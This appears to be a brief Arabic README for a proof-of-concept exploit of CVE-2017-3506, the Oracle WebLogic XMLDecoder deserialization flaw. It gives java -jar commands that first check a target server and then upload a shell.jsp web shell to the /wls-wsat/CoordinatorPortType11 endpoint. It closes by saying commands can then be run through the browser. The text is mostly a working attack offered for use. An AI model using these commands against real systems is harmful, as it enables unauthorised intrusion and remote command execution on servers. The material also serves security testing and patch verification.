
CVE-2017-3506
هذا هو إثبات المفهوم (PoC) لـ CVE-2017-3506 (إزالة تسلسل Weblogic XMLDecoder)
java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001

java -jar WebLogic-XMLDecoder.jar -s http://192.168.174.144:7001 /wls-wsat/CoordinatorPortType11 shell.jsp

ثم يمكنك تنفيذ الأمر عبر المتصفح:
